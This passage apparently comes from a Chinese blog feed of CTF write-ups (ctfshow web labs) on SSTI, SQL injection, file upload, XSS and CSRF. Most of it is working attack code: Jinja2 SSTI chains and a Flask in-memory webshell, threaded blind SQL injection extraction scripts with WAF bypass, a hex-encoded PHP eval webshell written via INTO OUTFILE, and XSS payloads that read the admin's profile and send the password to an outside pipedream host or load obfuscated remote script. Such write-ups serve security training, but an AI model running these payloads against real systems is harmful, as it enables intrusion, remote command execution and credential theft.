&lt;p&gt;&lt;strong&gt;&lt;code&gt;cycler&lt;/code&gt;&lt;/strong&gt;: 这是 Jinja2 模板引擎（Flask 默认引擎）中的一个内置对象，用于在循环中轮换值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;.open(&apos;/flag&apos;).read(1)[0]&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;read(1)&lt;/code&gt;：读取文件的前 &lt;strong&gt;1&lt;/strong&gt; 个字符。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[0]&lt;/code&gt;：取出这个字符。&lt;/p&gt;
&lt;p&gt;官方脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import concurrent.futures

url = &quot;http://7d26c775-19b5-4001-88e3-fbba32c4e64c.challenge.ctf.show/echo&quot;
strings = &quot;qwertyuiopasdfghjklzxcvbnm{}-12334567890&quot;
target = &quot;&quot;

headers = {
    &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,
    &quot;cookie&quot;:&quot;user=eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiJ0ZXN0In0.ZzC9AQ.hbEoNTSwLImc98ykp0j_EJ_VlnQ&quot;
}


def check_character(i, j, string):
    payload = &apos;&apos;&apos;
    cycler[&quot;__in&quot;+&quot;it__&quot;][&quot;__glo&quot;+&quot;bals__&quot;]
    [&quot;__bui&quot;+&quot;ltins__&quot;].__import__(&apos;builtins&apos;).open(&apos;/flag&apos;).read({})[{}]==&apos;{}&apos;
    &apos;&apos;&apos;.format(j + 1, j, string)
    data = {&quot;message&quot;: payload}
    r = requests.post(url=url, data=data, headers=headers)
    return string if r.status_code == 200 and &quot;your answer is True&quot; in r.text else None


with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    for i in range(50):
        futures = []
        for j in range(50):
            for string in strings:
                futures.append(executor.submit(check_character, i, j, string))

        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                print(result)
                target += result
                if result == &quot;}&quot;:
                    print(target)
                    exit()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方尝试的内存马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;url_for[&quot;\137\137\147\154\157\142\141\154\163\137\137&quot;]  [&quot;\137\137\142\165\151\154\164\151\156\163\137\137&quot;][&apos;eval&apos;]  (&quot;app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if  request.args.get(&apos;cmd&apos;) and exec(\&quot;global  CmdResp;CmdResp=__import__(\&apos;flask\&apos;).make_response(__import__(\&apos;os\&apos;).popen(requ  est.args.get(\&apos;cmd\&apos;)).read())\&quot;)==None else resp)&quot;,  {&apos;request&apos;:url_for[&quot;\137\137\147\154\157\142\141\154\163\137\137&quot;]  [&apos;request&apos;],&apos;app&apos;:url_for[&quot;\137\137\147\154\157\142\141\154\163\137\137&quot;]  [&apos;current_app&apos;]})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222205113542-1766534912654-7.png&quot; alt=&quot;image-20251222205113542&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag:ctfshow{2cfac8233-7268-4a4a-8d1a-741c090a57aa}&lt;/p&gt;
&lt;h2&gt;ezzz_ssti&lt;/h2&gt;
&lt;p&gt;测试{{3*3}，回显9，说明这里是ssti&lt;/p&gt;
&lt;p&gt;简单测试下发现没有过滤，但是限制了长度为40&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/weixin_43995419/article/details/126811287&lt;/p&gt;
&lt;p&gt;阅读该文章，我们可以将 Payload 保存在 config 全局对象中&lt;/p&gt;
&lt;p&gt;Flask 框架中存在 &lt;strong&gt;config 全局对象&lt;/strong&gt;，用来保存配置信息。&lt;/p&gt;
&lt;p&gt;config 对象实质上是一个&lt;strong&gt;字典的子类&lt;/strong&gt;，可以像字典一样操作。&lt;/p&gt;
&lt;p&gt;因此要更新字典，我们可以使用 Python 中字典的 &lt;strong&gt;update() 方法&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{%set x=config.update(a=config.update)%}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用如下语句查看字典的键有没有更新&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{%print(config.a)%} 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224080708261-1766534912654-6.png&quot; alt=&quot;image-20251224080708261&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{%set x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
{{config.p(&quot;cat /f*&quot;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251223145408219-1766534912654-8.png&quot; alt=&quot;image-20251223145408219&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{8ae957ba-55a0-4cac-b5cf-22516ea30eea}&lt;/p&gt;
&lt;h2&gt;简单的文件上传&lt;/h2&gt;
&lt;p&gt;我们先进行测试整理信息&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以上传.jar文件&lt;/li&gt;
&lt;li&gt;可以执行.jar包&lt;/li&gt;
&lt;li&gt;执行后有回显&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们尝试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
    public static void main(String[] args) {
        try {
            // 尝试读取 /flag 文件
            Process p = Runtime.getRuntime().exec(&quot;cat /flag&quot;);
            BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line;
            while ((line = in.readLine()) != null) {
                System.out.println(line); // 这里的输出会显示在网页的 Output 区域
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 Manifest 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Main-Class: Exploit
   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打包jar:jar cvfm exploit.jar manifest.txt Exploit.class&lt;/p&gt;
&lt;p&gt;发现&lt;code&gt;java -jar&lt;/code&gt; 命令前面加了 &lt;code&gt;-D java.securityManager&lt;/code&gt; 参数&lt;/p&gt;
&lt;p&gt;我们先上传官方给的&lt;code&gt;CTFshowCodeManager.so&lt;/code&gt;,改名为.jar&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.ctfshow;

/* loaded from: JavaEngine.jar:com/ctfshow/CTFshowCodeManager.class */
public class CTFshowCodeManager {
    public static native String eval(String str);

    static {
        System.load(&quot;/var/www/html/uploads/CTFshowCodeManager.jar&quot;);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.ctfshow;

import java.io.IOException;

/* loaded from: JavaEngine.jar:com/ctfshow/Main.class */
public class Main {
    public static void main(String[] args) throws IOException {
        CTFshowCodeManager.eval(&quot;cat /secretFlag000.txt&quot;);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加载刚才的so文件，然后执行命令&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251223145803962-1766534912654-9.png&quot; alt=&quot;image-20251223145803962&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{e33c8c80-541f-4133-8394-f19be971f7ac}&lt;/p&gt;
</content:encoded></item><item><title>Web应用安全与防护（下）</title><link>https://origin618.github.io/posts/web%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8%E4%B8%8E%E9%98%B2%E6%8A%A4%E4%B8%8B/</link><guid isPermaLink="true">https://origin618.github.io/posts/web%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8%E4%B8%8E%E9%98%B2%E6%8A%A4%E4%B8%8B/</guid><description>Web应用安全与防护（下）</description><pubDate>Sun, 21 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;第五章 SQL注入漏洞与防护&lt;/h1&gt;
&lt;h2&gt;联合查询注入&lt;/h2&gt;
&lt;p&gt;随便打开一个文件并检测，发现id为注入点&lt;/p&gt;
&lt;p&gt;测试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%20union%20select%201,2,3;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询所有的表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251219085204061-1766372386707-1.png&quot; alt=&quot;image-20251219085204061&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查询users表的所有列名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20table_schema=database();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251219085408661-1766372386707-3.png&quot; alt=&quot;image-20251219085408661&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查询users表的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%20union%20select%201,2,group_concat(id,%27-%27,username,%27-%27,password)%20from%20users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251219085524226-1766372386707-2.png&quot; alt=&quot;image-20251219085524226&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{admin_secret_password}&lt;/p&gt;
&lt;h2&gt;布尔盲注爆破&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251219112353769-1766372386707-4.png&quot; alt=&quot;image-20251219112353769&quot; /&gt;&lt;/p&gt;
&lt;p&gt;稳定脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# exp.py
import requests
import string

URL = &quot;http://localhost:5055/login.php&quot;

FAIL = &quot;script&quot; # 登录失败时的响应头

def send_payload(payload):
    data = {
        &quot;username&quot;: payload,
        &quot;password&quot;: &quot;anything&quot;
    }
    resp = requests.post(URL, data=data, allow_redirects=False)
    return resp.text.find(FAIL) == -1

def get_length(payload_template, min_len=1, max_len=100):
    for l in range(min_len, max_len):
        payload = payload_template.format(l)
        if send_payload(payload):
            return l
    return None

def get_string(payload_template, length):
    result = &quot;&quot;
    chars = string.ascii_letters + string.digits + &quot;_{}@.-,! &quot;
    for i in range(1, length+1):
        for c in chars:
            payload = payload_template.format(i, c)
            if send_payload(payload):
                result += c
                print(f&quot;\r{result}&quot;, end=&quot;&quot;, flush=True)
                break
    print()
    return result

def get_table_names():
    print(&quot;[*] Getting table name length...&quot;)
    length = get_length(&quot;admin&apos; and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};#---&quot;)
    print(f&quot;[*] Table names length: {length}&quot;)

    print(&quot;[*] Getting table names...&quot;)
    names = get_string(&quot;admin&apos; and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii(&apos;{}&apos;);#---&quot;, length)
    print(f&quot;[*] Table names: {names.split(&apos;,&apos;)}&quot;)
    return names.split(&apos;,&apos;)

def get_column_names(table):
    print(f&quot;[*] Getting column names length for {table}...&quot;)
    length = get_length(f&quot;admin&apos; and (select length(group_concat(column_name)) from information_schema.columns where table_name=&apos;{table}&apos;)={{}};#---&quot;)
    print(f&quot;[*] Column names length: {length}&quot;)

    print(f&quot;[*] Getting column names for {table}...&quot;)
    names = get_string(f&quot;admin&apos; and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=&apos;{table}&apos;),{{}},1))=ascii(&apos;{{}}&apos;);#---&quot;, length)
    print(f&quot;[*] Column names: {names}&quot;)
    return names.split(&apos;,&apos;)

def get_field(table, column, row=0):
    print(f&quot;[*] Getting length of {column} in {table} row {row}...&quot;)
    length = get_length(f&quot;admin&apos; and (select length({column}) from {table} limit {row},1)={{}};#---&quot;, max_len=256)
    print(f&quot;[*] Field length: {length}&quot;)

    if length is None:
        print(f&quot;[!] Cannot determine length for {column} in {table} row {row}, skipping.&quot;)
        return &quot;&quot;

    print(f&quot;[*] Getting value of {column} in {table} row {row}...&quot;)
    value = get_string(f&quot;admin&apos; and ascii(substr((select {column} from {table} limit {row},1),{{}},1))=ascii(&apos;{{}}&apos;);#---&quot;, length)
    print(f&quot;[*] Value: {value}&quot;)
    return value

if __name__ == &quot;__main__&quot;:
    # 1. 获取所有表名
    tables = get_table_names()

    # 2. 获取每个表的列名
    for table in tables:
        columns = get_column_names(table)
        # 3. 获取每个表的每个字段内容
        for col in columns:
            for row in range(2): #获取前2行
                get_field(table, col, row)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;快速脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
import time

# --- 基础配置 ---
URL = &quot;https://51707d51-abc7-40e8-a026-9d99fe149358.challenge.ctf.show/login.php&quot;
FAIL_STR = &quot;script&quot;  # 登录失败特征字符串
MAX_THREADS = 30  # 并发线程数
# ----------------

# 环境初始化：忽略 SSL 警告并建立持久连接
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session = requests.Session()


def send_payload(payload):
    &quot;&quot;&quot;核心请求函数，包含 SSL 忽略逻辑&quot;&quot;&quot;
    data = {&quot;username&quot;: payload, &quot;password&quot;: &quot;any&quot;}
    try:
        # verify=False 解决证书验证失败报错
        resp = session.post(URL, data=data, verify=False, timeout=5)
        return FAIL_STR not in resp.text
    except:
        return False


def get_length(sql_template, max_len=100):
    &quot;&quot;&quot;探测目标字符串的长度&quot;&quot;&quot;
    for l in range(1, max_len):
        if send_payload(sql_template.format(l)):
            return l
    return 0


def guess_one_char(sql_template, index):
    &quot;&quot;&quot;利用二分查找探测单个字符的 ASCII 码&quot;&quot;&quot;
    low, high = 32, 126
    while low &amp;lt;= high:
        mid = (low + high) // 2
        # 使用 &amp;gt; 进行二分判定
        if send_payload(sql_template.format(index, mid)):
            low = mid + 1
        else:
            high = mid - 1
    return index, chr(low)


def get_string_threaded(sql_template, length):
    &quot;&quot;&quot;多线程调度提取完整字符串&quot;&quot;&quot;
    if length &amp;lt;= 0: return &quot;&quot;
    final_result = [&apos;&apos;] * (length + 1)
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        futures = {executor.submit(guess_one_char, sql_template, i): i for i in range(1, length + 1)}
        for future in as_completed(futures):
            idx, char = future.result()
            final_result[idx] = char
            print(f&quot;\r[*] 实时进度: {&apos;&apos;.join(final_result)}&quot;, end=&quot;&quot;, flush=True)
    print()
    return &quot;&quot;.join(final_result[1:])


if __name__ == &quot;__main__&quot;:
    total_start = time.time()

    # 第一阶段：确认数据库环境
    print(&quot;--- 步骤 1: 获取数据库名 ---&quot;)
    db_len_sql = &quot;admin&apos; and (select length(database()))={};# &quot;
    db_name_sql = &quot;admin&apos; and ascii(substr(database(),{},1)) &amp;gt; {};# &quot;
    db_len = get_length(db_len_sql)
    db_name = get_string_threaded(db_name_sql, db_len)
    print(f&quot;[+] 数据库名: {db_name}&quot;)

    # 第二阶段：获取所有表名
    print(&quot;\n--- 步骤 2: 获取表名 ---&quot;)
    table_len_sql = &quot;admin&apos; and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};# &quot;
    table_name_sql = &quot;admin&apos; and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)) &amp;gt; {};# &quot;
    t_len = get_length(table_len_sql, max_len=500)
    tables_str = get_string_threaded(table_name_sql, t_len)
    table_list = tables_str.split(&apos;,&apos;)
    print(f&quot;[+] 发现表: {table_list}&quot;)

    # 第三阶段：深度挖掘（重点看 users 或含有 flag 字样的表）
    for target_table in table_list:
        if target_table == &apos;pages&apos;: continue  # 跳过不相关的表

        print(f&quot;\n--- 步骤 3: 挖掘表 [{target_table}] ---&quot;)

        # 获取列名
        col_len_sql = f&quot;admin&apos; and (select length(group_concat(column_name)) from information_schema.columns where table_name=&apos;{target_table}&apos;)={{}};# &quot;
        col_name_sql = f&quot;admin&apos; and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=&apos;{target_table}&apos;),{{}},1)) &amp;gt; {{}};# &quot;
        c_len = get_length(col_len_sql)
        columns_str = get_string_threaded(col_name_sql, c_len)
        column_list = columns_str.split(&apos;,&apos;)
        print(f&quot;[+] 发现列: {column_list}&quot;)

        # 获取每一列的第一行数据（通常 Flag 就在这里）
        for col in column_list:
            print(f&quot;[*] 正在提取 [{target_table}.{col}] 的数据...&quot;)
            data_len_sql = f&quot;admin&apos; and (select length({col}) from {target_table} limit 0,1)={{}};# &quot;
            data_val_sql = f&quot;admin&apos; and ascii(substr((select {col} from {target_table} limit 0,1),{{}},1)) &amp;gt; {{}};# &quot;

            d_len = get_length(data_len_sql, max_len=200)
            if d_len:
                data_val = get_string_threaded(data_val_sql, d_len)
                print(f&quot;[✔] 结果 -&amp;gt; {data_val}&quot;)

    print(f&quot;\n[*] 全部任务已完成，总耗时: {time.time() - total_start:.2f} 秒&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CTF{bool_sql_injection_is_fun}&lt;/p&gt;
&lt;h2&gt;堆叠注入写Shell&lt;/h2&gt;
&lt;p&gt;这里我们通过\转移&apos;使得&lt;code&gt;username&lt;/code&gt; 的内容是 &lt;code&gt;admin&apos; AND password=&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;password=;select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into outfile &quot;/var/www/html/1.php&quot;;%23 &amp;amp;username=admin\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1=system(&quot;ls&quot;);&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251219113253106-1766372386707-6.png&quot; alt=&quot;image-20251219113253106&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{sql_injection_is_fun}&lt;/p&gt;
&lt;h2&gt;WAF绕过&lt;/h2&gt;
&lt;p&gt;一样，将空格换成/**/注释绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
import time

# --- 基础配置 ---
URL = &quot;https://a4e5b7fa-5719-403e-abb9-64af82932a7b.challenge.ctf.show/login.php&quot;
FAIL_STR = &quot;script&quot;  # 登录失败特征字符串
MAX_THREADS = 30  # 并发线程数

# 替换策略：将空格替换为 /**/
# 如果 /**/ 不行，可以尝试 %0a, %0b, %0c, %a0 等
SPACE_REPLACE = &quot;/**/&quot;
# ----------------

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session = requests.Session()


def send_payload(payload):
    &quot;&quot;&quot;核心请求函数，处理空格绕过逻辑&quot;&quot;&quot;
    # 自动将 payload 中的空格转换为注释符
    processed_payload = payload.replace(&quot; &quot;, SPACE_REPLACE)

    data = {&quot;username&quot;: processed_payload, &quot;password&quot;: &quot;any&quot;}
    try:
        resp = session.post(URL, data=data, verify=False, timeout=5)
        return FAIL_STR not in resp.text
    except:
        return False


def get_length(sql_template, max_len=100):
    &quot;&quot;&quot;探测目标字符串的长度&quot;&quot;&quot;
    for l in range(1, max_len):
        # 这里的模板依然写空格，send_payload 会自动处理
        if send_payload(sql_template.format(l)):
            return l
    return 0


def guess_one_char(sql_template, index):
    &quot;&quot;&quot;利用二分查找探测单个字符的 ASCII 码&quot;&quot;&quot;
    low, high = 32, 126
    while low &amp;lt;= high:
        mid = (low + high) // 2
        if send_payload(sql_template.format(index, mid)):
            low = mid + 1
        else:
            high = mid - 1
    return index, chr(low)


def get_string_threaded(sql_template, length):
    &quot;&quot;&quot;多线程调度提取完整字符串&quot;&quot;&quot;
    if length &amp;lt;= 0: return &quot;&quot;
    final_result = [&apos;&apos;] * (length + 1)
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        futures = {executor.submit(guess_one_char, sql_template, i): i for i in range(1, length + 1)}
        for future in as_completed(futures):
            idx, char = future.result()
            final_result[idx] = char
            print(f&quot;\r[*] 实时进度: {&apos;&apos;.join(final_result)}&quot;, end=&quot;&quot;, flush=True)
    print()
    return &quot;&quot;.join(final_result[1:])


if __name__ == &quot;__main__&quot;:
    total_start = time.time()

    # 第一阶段：数据库名
    print(&quot;--- 步骤 1: 获取数据库名 ---&quot;)
    db_len_sql = &quot;admin&apos; and (select length(database()))={};#&quot;
    db_name_sql = &quot;admin&apos; and ascii(substr(database(),{},1))&amp;gt;{};#&quot;
    db_len = get_length(db_len_sql)
    print(f&quot;[*] 长度: {db_len}&quot;)
    db_name = get_string_threaded(db_name_sql, db_len)
    print(f&quot;[+] 数据库名: {db_name}&quot;)

    # 第二阶段：表名
    print(&quot;\n--- 步骤 2: 获取表名 ---&quot;)
    # 注意：information_schema.tables 这种中间没有空格，不需要处理
    table_len_sql = &quot;admin&apos; and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};#&quot;
    table_name_sql = &quot;admin&apos; and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))&amp;gt;{};#&quot;
    t_len = get_length(table_len_sql, max_len=500)
    tables_str = get_string_threaded(table_name_sql, t_len)
    table_list = tables_str.split(&apos;,&apos;)
    print(f&quot;[+] 发现表: {table_list}&quot;)

    # 第三阶段：深度挖掘（重点关注包含 flag 关键词的表）
    for target_table in table_list:
        # 这里建议根据实际题目修改，或者干脆注释掉下面这行来跑所有的表
        # if &apos;flag&apos; not in target_table.lower(): continue

        print(f&quot;\n--- 步骤 3: 正在挖掘表 [{target_table}] ---&quot;)

        # 1. 获取列名 (应对空格过滤: /**/ , 应对逗号过滤: 使用 join 或其它方式)
        # 这里使用了 group_concat(column_name)
        col_len_sql = f&quot;admin&apos; and (select(length(group_concat(column_name)))from(information_schema.columns)where(table_name)=&apos;{target_table}&apos;)={{}};#&quot;
        col_name_sql = f&quot;admin&apos; and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=&apos;{target_table}&apos;),{{}},1))&amp;gt;{{}};#&quot;

        c_len = get_length(col_len_sql)
        if c_len == 0:
            print(f&quot;[!] 无法获取表 [{target_table}] 的列名，可能存在其它过滤。&quot;)
            continue

        columns_str = get_string_threaded(col_name_sql, c_len)
        column_list = columns_str.split(&apos;,&apos;)
        print(f&quot;[+] 发现列: {column_list}&quot;)

        # 2. 提取数据
        for col in column_list:
            print(f&quot;[*] 正在提取 [{target_table}.{col}] 的数据...&quot;)

            # 应对逗号过滤：LIMIT 1 OFFSET 0 替代 LIMIT 0,1
            # 应对逗号过滤：SUBSTR(str FROM 1 FOR 1) 替代 SUBSTR(str,1,1)
            # 注意：substr() 中的 FROM/FOR 语法在某些 SQL 注入环境下更稳健

            data_len_sql = f&quot;admin&apos; and (select(length({col}))from({target_table})limit 1 offset 0)={{}};#&quot;

            # 如果逗号完全被禁，substr 的模板需要改为：
            # ascii(substr((select({col})from({target_table})limit 1 offset 0)from {} for 1)) &amp;gt; {}
            data_val_sql = f&quot;admin&apos; and ascii(substr((select({col})from({target_table})limit 1 offset 0),{{}},1))&amp;gt;{{}};#&quot;

            d_len = get_length(data_len_sql, max_len=200)
            if d_len:
                data_val = get_string_threaded(data_val_sql, d_len)
                print(f&quot;[✔] 结果 -&amp;gt; {data_val}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251219114001869-1766372386707-7.png&quot; alt=&quot;image-20251219114001869&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{bool_sql_injection_bypass_is_fun}&lt;/p&gt;
&lt;h1&gt;第六章 XSS攻击与防御&lt;/h1&gt;
&lt;h2&gt;混合型XSS&lt;/h2&gt;
&lt;p&gt;先注册一个账号登录，测试发现设置个性签名处存在xss漏洞&lt;/p&gt;
&lt;p&gt;我们在/profile路由可以发现账密，所以我们只需在管理员点击后访问/profile路由，即可得到管理员账密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221192638822-1766372386707-5.png&quot; alt=&quot;image-20251221192638822&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先保存再点管理员签名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221192326071-1766372386707-8.png&quot; alt=&quot;image-20251221192326071&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里使用XSS平台 https://xssaq.com/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221192242576-1766372386707-13.png&quot; alt=&quot;image-20251221192242576&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(async () =&amp;gt; {
  try {
    const res = await fetch(&apos;/profile&apos;, { credentials: &apos;include&apos;, method: &apos;GET&apos; });
    const txt = await res.text();
    const secret = txt.split(&apos;id=&quot;upass&quot;&apos;)[1].substr(48,45);
    const headers = new Headers()
    headers.append(&quot;Content-Type&quot;, &quot;application/json&quot;)
    const body = {
       &quot;test&quot;: secret
    }
     const options = {
          method: &quot;POST&quot;,
          headers,
          mode: &quot;cors&quot;,
          body: JSON.stringify(body),
      }
      fetch(&quot;https://eo1l5fizoguf4j8.m.pipedream.net&quot;, options)
      } catch (e) {
          console.error(e);
      }            
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 https://pipedream.com/ 进行HTTP带外&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221192206852-1766372386707-9.png&quot; alt=&quot;image-20251221192206852&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;ctfshow{532a7097-527b-4b7b-ac6a-0b5bc7dce055}&lt;/p&gt;
&lt;h2&gt;编码绕过XSS过滤&lt;/h2&gt;
&lt;p&gt;和上一个基本相同，但是对script和/进行了过滤&lt;/p&gt;
&lt;p&gt;我们用编写的payload绕过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221194528108-1766372386707-10.png&quot; alt=&quot;image-20251221194528108&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;svg onload=eval(atob(&apos;cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3hzLnBlL21HZSc7&apos;))&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221210310193-1766372386707-11.png&quot; alt=&quot;image-20251221210310193&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{39311769-5d8b-4f7b-9655-1ee5a4dd6f27}&lt;/p&gt;
&lt;h1&gt;第七章 请求伪造漏洞（CSRF/SSRF）&lt;/h1&gt;
&lt;h2&gt;请求伪造漏洞_CSRF&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;mb-3&quot;&amp;gt;
                        &amp;lt;label class=&quot;form-label&quot;&amp;gt;用户名&amp;lt;/label&amp;gt;
                        &amp;lt;div class=&quot;form-control bg-transparent text-light&quot;&amp;gt;test&amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;mb-3&quot;&amp;gt;
                        &amp;lt;label class=&quot;form-label&quot;&amp;gt;密码&amp;lt;/label&amp;gt;
                        &amp;lt;div id=&quot;upass&quot; class=&quot;form-control bg-transparent text-light&quot;&amp;gt;******&amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里对密码进行了加密，所以不能通过http外带方式得到管理员账密&lt;/p&gt;
&lt;p&gt;分析功能，发现多了个修改密码的路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; class=&quot;mt-3&quot;&amp;gt;

    &amp;lt;div class=&quot;mb-3&quot;&amp;gt;
        &amp;lt;label class=&quot;form-label&quot;&amp;gt;用户名&amp;lt;/label&amp;gt;
        &amp;lt;input class=&quot;form-control form-control-lg bg-transparent text-light&quot; name=&quot;username&quot; disabled value=&quot;test&quot;&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;mb-3&quot;&amp;gt;
        &amp;lt;label class=&quot;form-label&quot;&amp;gt;新密码&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;password&quot; class=&quot;form-control form-control-lg bg-transparent text-light&quot; name=&quot;password&quot; required&amp;gt;
        &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4&quot;&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;d-flex justify-content-between align-items-center&quot;&amp;gt;
        &amp;lt;button class=&quot;btn btn-neon btn-lg&quot;&amp;gt;修改&amp;lt;/button&amp;gt;
        &amp;lt;a class=&quot;text-decoration-none text-info&quot; href=&quot;/login&quot;&amp;gt;已有账号？登录&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;
